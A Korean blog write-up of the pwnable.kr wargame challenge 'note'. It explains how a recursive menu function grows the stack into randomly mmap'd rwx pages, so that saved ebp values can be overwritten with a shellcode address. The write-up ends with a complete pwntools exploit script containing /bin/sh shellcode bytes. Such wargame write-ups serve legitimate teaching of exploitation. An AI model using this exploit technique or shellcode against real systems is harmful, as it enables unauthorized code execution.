본문 바로가기

Wargame/pwnable.kr

[Rookies] note

생각보다 어렵지 않은 문제이다. 하루 깔짝하고 풀었는데, 제일 시간이 오래걸렸던 부분은 ..문제 서버에다가 문자열 송수신하는 중에 자꾸 파이썬 EOF Error가 난다 ㅡㅡ; 내가 코드를 못짜는건지 아니면 서버가 불안정한건지 모르겠다.

 

문제 설명을 보면 mmap() 함수에 보안패치를 했고, ASLR 세팅을 안했다고 한다. 핵심적인 부분이니 기억해두자.

 

이제 문제를 보자.

 - 아참. 400명 이상 푼 문제는 exploit 코드 공개하겠다. 

 - 이 글에는 문제 풀이와 답이 있으니, 실력 증진을 원하는 분들은 충분히 삽질한 후 읽어주시길 바란다.

 

1. 코드흐름

====================================================

문제의 핵심인 mmap_s 함수부터 보겠다. random seed로 urandom을 쓰고, addr에 random값을 read 함수를 통해 넣고 있다. 

이 함수는 너무 깊게 볼 필요 없다. 그냥 mmap_s를 이용해 무작위 주소를 매핑해준다.

 

create_note()는 mmap_s를 이용해 특정 주소를 매핑해준다. mmap_s로 PAGE_SIZE (0x1000) 만큼, 매핑된 임의 주소의 권한은 rwxp 몽땅 넣어줬다.

mem_arr[i]에 생성된 임의 주소값이 들어가는데, mem_arr은 0 ~ 255?? 까지 생성 가능하다.

 

write_note는 create_note에서 생성된 임의 주소에 4096 byte만큼 값을 쓸 수 있다. 정확히는 4096 이상 쓸 수 있긴 하지만 매핑된 임의 주소값의 사이즈를 넘겨버리면 'cannot access address' 에러가 뜨면서 프로그램이 죽어버린다.

 

read_note는 create_note로 생성한 임의 주소의 값들을 print 해주는 역할을 한다.

 

delete_note는 create_note로 생성한 임의 주소의 매핑을 해제한다.

 

여기가 문제에서 취약한 부분인데, select_menu가 실행될 때마다 char command[1024]가 스택에 할당된다. 무슨 말이냐면, select_menu가 1번 실행되면 1024만큼 스택이 할당되고 2번 실행되면 2048, ... n번 실행되면 1024 * n만큼 스택이 할당된다. 

그럼 수백, 수천번을 실행하면 그만큼 스택이 늘어난다는거고, 결국 스택이 다른 메모리를 침범할 수도 있다는 뜻이다.

 

select_menu는 히든메뉴인 0x31337을 갖고 있다. 1 byte overflow를 일으켜서 pwn을 일으킬 수 있을 것 같다는데, 개뻥이다.

select_menu가 끝나고 나면 다시 자기를 부르는 재귀함수 구조로 되어있다.

 

 

마지막으로 main 함수이다. 중간중간에 sleep 함수가 있던걸로 기억하는데, 편의상 그냥 다 지워버렸다. (디버깅할 때 편하려고)

printf를 많이많이 출력한 뒤 select_menu 함수가 시작된다.


2. 고려사항

====================================================

1. mmap_s를 통해 임의 주소가 매핑된다. 그러나 이미 할당된 메모리(text영역, 라이브러리 영역, 스택, 힙 등)는 매핑되지 않는다.

2. ASLR이 걸려있지 않은 문제이다. 즉 문제푸는 과정에서 ASLR을 해제하고 디버깅하는 것이 좋다.

3. select_menu() 함수가 재귀호출된다.

 

3. 필요 지식

====================================================

1. mmap 함수가 뭘하는 함수인지를 알아야 한다.

관련 주소: mintnlatte.tistory.com/357

 

2. ASLR 보호기법이 뭔지 알아야 한다.

관련 주소: cpuu.postype.com/post/4077799

 

4. 문제 풀이

====================================================

note 문제는

 - create_note를 이용해 4096 사이즈의 임의 메모리를 매핑한다.

 - write_note를 이용해 4096 사이즈만큼 메모리에 값을 입력할 수 있다.

 - read_note를 이용해 매핑된 메모리의 값을 읽어올 수 있다.

 - delete_note를 이용해 매핑된 메모리를 해제할 수 있다.

 

이 것과, select_menu 중 5번 메뉴(5. exit)를 이용하기 전까지 select_menu가 무한반복된다는 점을 알면 된다.

문제를 실행해보자.

 

핵심만 짚고 넘어가겠다. 첫번째로는 mmap_s를 통해 메모리가 어떻게 할당되는지를 확인할건데

 

 - main의 select_menu 끝나는 지점(0x8048ae6)에 breakpoint를 걸고 메모리를 확인하겠다. 

 - create_note를 이용해 0xb6e79000 이라는 메모리를 매핑했다.

 - 5. exit로 프로그램을 종료하였다.

 - shell ps, shell cat /proc/note(pid)/maps 를 이용해 할당된 메모리를 확인하였다.

확인 결과, 예상대로 rwxp 권한을 가진 메모리가 매핑된다.

그리고 가장 중요한 스택의 범위를 확인하자면..

0xfffdd000 ~ 0xffffe000이다. 꼭 기억해두자. 

 

다음으로 select_menu를 통해 할당되는 스택을 확인하자.

 - select_menu의 fgets 함수 다음 지점(0x80489dc)에 breakpoint를 걸고 메모리를 확인하는 것이 좋다. (필자는 귀찮아서 디버깅을 통해 알아낸 주소를 입력하고 확인했다)

 - secret menu인 0x31337로 접근을 위해 0x31337의 10진수인 201527을 입력하였다.

 - 1을 대충 때려넣어준 후

 - 5.exit로 프로그램을 종료하였다.

실행결과는 이렇고, 메모리를 보자면..

이렇다. 0xffffc98c에서 1024(+0x400)만큼 스택을 할당하는데, 

배열의 마지막 스택주소를 확인하면 구조가 이렇게 되어있다. secret menu에서 1byte overflow를 하게 될 경우, 0x31337의 37부분을 0으로 덮어쓸 수 있다. 정말 의미없는 부분이므로 secret_menu는 그냥 넘어가도록 한다.

 

핵심은 ebp이다. ebp는 main()이 끝난 후 libc_start_main으로 return하는데, 저 주소를 바꿀수만 있다면 우리가 원하는 작업을 할 수 있을 것이다. 하지만 일반적인 방법으로는 안된다. 어떻게 해야하나 어떻게 해야하나.. 고민중에 select_menu()가 무한히 반복되는 걸 확인했고, 무한히 반복되는 중 char command[1024]를 이용해 스택을 계속 늘려준다는걸 봤다.

이걸 이용해 스택을 얼마나 늘릴 수 있나.. 하고 확인차 파이썬 스크립트를 이용했다.

 

- python -c 'print "3\n" * 8000 + "5\n"' > input  을 이용해 select_menu를 8천번 실행하고 종료하게끔 input 파일에 값을 밀어넣는다.

- main의 select_menu 끝나는 지점(0x8048ae6)에 breakpoint를 걸고 메모리를 확인하겠다. 

- gdb 디버거에서 r < input을 입력하여 바이너리에 input 파일을 통째로 밀어넣는다. 

- shell ps, shell cat /proc/note(pid)/maps 를 이용해 할당된 스택 사이즈를 확인한다.

확인 결과이다. 분명 이전에는 0xfffdd000 ~ 0xffffe000 이었는데 0xfffdd000이 0xffbe5000으로 바뀌었다.

그 뜻은 select_menu를 이용해 다른 영역까지 침범가능하다는 뜻이다.

select_menu() 함수가 한번 실행되면

char command[1024] = 0x400에 추가로 다른 함수나 인자사용 등으로 0x30이 할당된다. 그래서 select_menu 한번당 총 0x430 메모리가 할당된다.

또한 메모리가 할당될 때마다 ebp(0xffffcdbc)를 가리키는 next_ebp가 할당되는데 이걸 그림으로 보면 다음과 같다.

ebp3 ==> ebp2 ==> ebp1 ==> ebp ==> libc_start_main

 

스택을 n만큼 할당했을 경우, ebp_n에 해당하는 곳에서 쭉쭉 ebp 포인터를 따라가다가 결국 0xffffcdbc에 위치한 libc_start_main 을 실행하는 구조이다.

감이 오나?? ebp_(n-1)이든 ebp_(n-100)이든 결국 ebp부분을 건드리면 ebp_n을 쭉쭉 따라 내려가다가 우리가 원하는 주소를 실행할 수 있다.

여기까지 이해했다면 문제는 쉽게 풀 수 있다.

 

필자는 이렇게 풀었다.

 

1. 먼저 create_note(no.0번째)를 통해 쉘코드를 담을 메모리를 매핑한다.

2. 이후 write_note로 첫번째로 생성한 곳에 쉘코드를 담았다. :: system("/bin/sh")

3. 스택을 최대한 적게 할당하기 위해 '근접한 메모리(target_address)' 주소를 정의하고, '근접한 메모리'가 스택과 최대한 가까운 위치에 매핑될때까지 create_note, delete_note를 반복한다.

  - 이 때 '근접한 메모리'는 0xffe00000 으로 정의하였다. 0xffe00000 이상 욕심내면 잘 안됬던 것 같다.

4. '근접한 메모리'를 발견할 경우 create_note를 중지하고 read_note를 이용해 의미없는 print를 반복하면서 select_menu를 실행해준다.

 - '근접한 메모리'를 스택이 덮을때까지 read_note를 계속 실행한다.

5. 스택이 근접한 메모리를 덮었을 때, write_note를 이용해 '근접한 메모리'에 쉘코드가 담긴 주소를 4096만큼 채워버린다.

 - 이렇게 하면 ebp_(n-1), ebp_(n-2) ... 중 3~4군데가 쉘코드 주소로 덮일 것이다.

6. 5.exit를 이용해 프로그램을 종료한다.

7. main함수가 끝나고 자연스레 libc_start_main이 실행되어야 하지만, 우리가 덮은 쉘코드 주소가 실행되면서 system("/bin/sh")가 호출된다.

 

 

아래는 내가 작성한 코드이다.

맘에 안들면 수정해서 쓰고.. '-' 중간중간에 time.sleep(0.1)을 쓴 이유는 자꾸 문제서버에 데이터 보내다가 'EOF Error'가 떠서 넣은건데

저렇게 해도 EOF Error가 간간히 뜬다. 빡친다.. -0-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import time
 
= ssh(user = 'note', host = 'pwnable.kr', port = 2222, password = 'guest')
remote = s.remote('localhost'9019)
remote.recvuntil("exit\n")
 
count = 0
create_number = 0
first_alloc_address = 0xffffc98c # 1st select menu allocated stack.
target_address = 0xffe00000   # close to stack address
 
shellcode = "\x90" * 32 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 4
 
def read_note(total_count, current_count):
    for i in range(0, total_count - current_count + 4):
# total_count - current + 4, '4' is To allocate the stack effortlessly
        remote.sendline("3")
        remote.recvuntil("no?\n")
        time.sleep(0.1)
        remote.sendline("1")
        remote.recvuntil("exit\n")
        print ("."),
        time.sleep(0.1)
 
def delete_note(number, count):
    for i in range(1, number+1):
        remote.sendline("4")
        remote.recvuntil("no?\n")
        time.sleep(0.1)
        remote.sendline(str(i))
        print ("delete_number: %d" % i),
        count += 1
    return count
 
def write_note(number, string):
    remote.sendline("2"# write note
    remote.recvuntil("note no?\n")
    remote.sendline(str(number))
    remote.recvuntil("byte)\n")
    remote.sendline(string)   # input shellcode
    remote.recvuntil("exit\n")
 
while True:
# ========== create note until mapped suitable address ========== #
    remote.sendline("1")
    remote.recvuntil("created. no ")
    create_number = int(remote.recvuntil("\n"))
 
    #print ("[%d]:" % create_number),
 
    remote.recvuntil("[")
    time.sleep(0.1)
    mmap_address = int(remote.recvuntil("]")[:-1], 16)
    remote.recvuntil("exit\n")
    count += 1  # as much as excuted 'select_menu'
 
#=========== input shellcode in 1st create address ===============#
    if (create_number == 0):
        print ("input shellcode in 1st address [0x%x]" % mmap_address)
        write_note(create_number, shellcode)
        payload = p32(mmap_address + 0x10* 1024  # 4 * 1024 = 4096 byte
        # 'payload' is points to a shellcode address 
#================================================================#
    print ("[%d]:" % create_number),
    print hex(mmap_address),
    print (" "),
 
    if mmap_address > target_address:
        print ("\n[*] find address [0x%x]" % mmap_address)
        print ("  [-] execute read_note to lift the stack")
        print ("  [-] count: %d" % (((first_alloc_address - mmap_address) / 0x430)- count))
 
        read_note((first_alloc_address - mmap_address) / 0x430, count)
        print ("[*] write payload in [%d] note" % create_number)
        write_note(create_number, payload)
 
        remote.sendline("5")
        print (remote.recv())
        print ("## get shellcode! ## ")
        remote.interactive('$ ')
 
    if create_number > 254:
        count = delete_note(create_number, count)
 
    if count > 960:
        print "try again!"
        exit(0)
cs

'Wargame > pwnable.kr' 카테고리의 다른 글

[Grotesque] aeg  (2) 2020.10.03
[Rookies] crypto1  (0) 2020.09.14
[Toddler] fd  (0) 2020.09.06
[Grotesque] asg  (0) 2020.08.15
[Toddler] asm  (2) 2020.07.05